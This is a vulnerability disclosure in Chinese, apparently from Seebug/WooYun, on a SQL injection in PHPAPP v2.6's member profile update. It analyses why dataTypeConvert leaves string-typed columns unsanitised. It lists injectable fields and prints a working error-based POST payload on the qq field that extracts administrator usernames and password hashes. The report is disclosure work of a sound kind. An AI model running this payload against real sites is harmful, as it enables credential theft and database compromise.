PHPAPP注入第一枚(无视过滤)

2014-12-24T00:00:00
ID SSV:95698
Type seebug
Reporter Root
Modified 2014-12-24T00:00:00

Description

简要描述:

PHPAPP注入第一枚(无视过滤) 前面提交的时候弄错了,和乌云小秘书商量后,让我重新提交一次,希望2014-12-20提交的那个不要通过审核啊,把这个通过了吧

详细说明:

在wooyun上看到了有人提了PHPAPP的漏洞: http://wooyun.org/bugs/wooyun-2010-055604,然后去官网看了看,前几天刚有更新,就在官网下了PHPAPP最新的v2.6来看看(2014-12-11更新的)。 PSOT注入点:wwww.xxx.com/member.php?app=2&action=40, 存在漏洞的文件在/phpapp/apps/member/member_phpapp.php 下面分析一下漏洞产生的原因

``` public function SetInfoAction(){

       $member=$this->GetMysqlOne('*',"".$this->GetTable('member')." WHERE  uid='$this->uid'");

       $usergroup=$member['usergroup'];

       include_once(APPS.'/member/class/member_phpapp.php');

       $mf=new MemberFunction();

       $membertable=$mf->GetTypeNameMember($member['usertype']);


      if($this->POST['Submit']){
                  $this->POST['about']=$this->str($this->POST['about'],600,1,0,1,0,1);

                  $this->POST['homepage']=$this->str($this->POST['homepage'],255,1,0,1,0,1);
                $birthday=strtotime($this->POST['Year'].'-'.$this->POST['Month'].'-'.$this->POST['Day']);

                  $this->POST['birthday']=$birthday;

无关代码

                $this->Update('member',array('userpost'=>$this->POST['userpost']),array()," WHERE uid='$this->uid'");

                  $this->Update('member_info',$this->POST,array()," WHERE uid='$this->uid'");

                  if(!$this->IsSQL($membertable['table_phpapp'],"WHERE uid='$this->uid'")){

                        $this->Insert($membertable['table_phpapp'],array('uid'=>$this->uid,'about'=>$this->POST['about']),array());

                  }else{
                        $this->Update($membertable['table_phpapp'],array('about'=>$this->POST['about']),array()," WHERE uid='$this->uid'");
                  }

无关代码 ```

先把用户post的内容中的几个参数用str函数处理,str方法对用户输入的数据进行了过滤,做了防注。 再往下看,看到了这句$this->Update('member_info',$this->POST,array()," WHERE uid='$this->uid'");把整个post的内容带入了Update方法,再去看看Update方法,/phpapp/apps/core/class/mysql_class_phpapp.php

``` //表名, 修改数组,添加合并数组,条件 function Update($tablename,$setarray=array(),$addarr=array(),$whereif=''){

     $setarray=array_merge($setarray,$addarr);

     $deletearr=$this->GetMysqlFieldArray($tablename);

     if($setarray){
          $sqlset='';
          foreach($setarray as $key=>$value){
                $_key=strtolower($key);
                if(isset($deletearr[$_key])){
                       $value=$this->dataTypeConvert($value,$deletearr[$_key]);
                       if($sqlset){
                            $sqlset.=',`'.$_key.'`=\''.$value.'\'';
                       }else{
                            $sqlset='`'.$_key.'`=\''.$value.'\'';
                       }

                }
          }

          $query=sprintf('UPDATE %s SET %s %s',$this->GetTable($tablename),$sqlset,$whereif);
          //exit($query);
          return $this->MysqlQuery($query);

     }else{
          return false;
     }        
}

```

Update代码防注分析: 1、通过GetMysqlFieldArray方法获取数据表的所有字段名及每个字段对应的属性; 2、判断用户post的内容中的key是否是数据表中的字段名,防止了key的注入; 3、通过dataTypeConvert方法把用户提交的数据按数据表中各字段的类型进行防注转换。 如果以上每一步的代码都正确实现了的话,应该是没有办法注入的,但是这里的第3步中,也就是dataTypeConvert方法的实现时有疏忽,看下面代码。

function dataTypeConvert($data,$type){ switch($type){ case 'int': $data=intval($data); break; case 'real': $data=doubleval($data); break; case 'timestamp': $data=intval($data); break; case 'string': case 'year': case 'date': case 'time': case 'datetime': case 'blob': default: //$data=intval($data); break; } return $data; }

只对int、real、timestamp做了处理,其他的类型这里没有处理。 绕过方法: 因为正常提交时的几个参数(about、homepage、Year、Month、domainname)在代码中都使用str方法进行了防注处理,在提交http请求时,可以提交其他的参数,但其他参数必须是数据表(phpapp_member_info)中的字段,且类型不是int、real、timestamp的参数。这里有多个参数可以使用,如avatar、qq、icq、phone、mobile、msn、certificate 7个参数可以注入。 下面以qq为例进行证明: Phpapp可以显错,那就用error-based blind进行注入。 Pyload:(POST提交)

Submit=1&about=a&homepage=b&Year=1990&Month=12&Day=23&domainname=123aiw&userpost=34a5&qq=1' or(select 1 from (select count(*),concat(floor(rand(0)*2),(select concat(0x23,username,0x23,password)from phpapp_member limit 0,1))a from information_schema.tables group by a)b) or'

注入成功,管理员用户名及密码如下图中所示:

<img src="https://images.seebug.org/upload/201412/22195056c6feec0a007fd28f7b602fd305aa0f0a.jpg" alt="注入成功副本.jpg" width="600" onerror="javascript:errimg(this);">

漏洞证明:

见 详细说明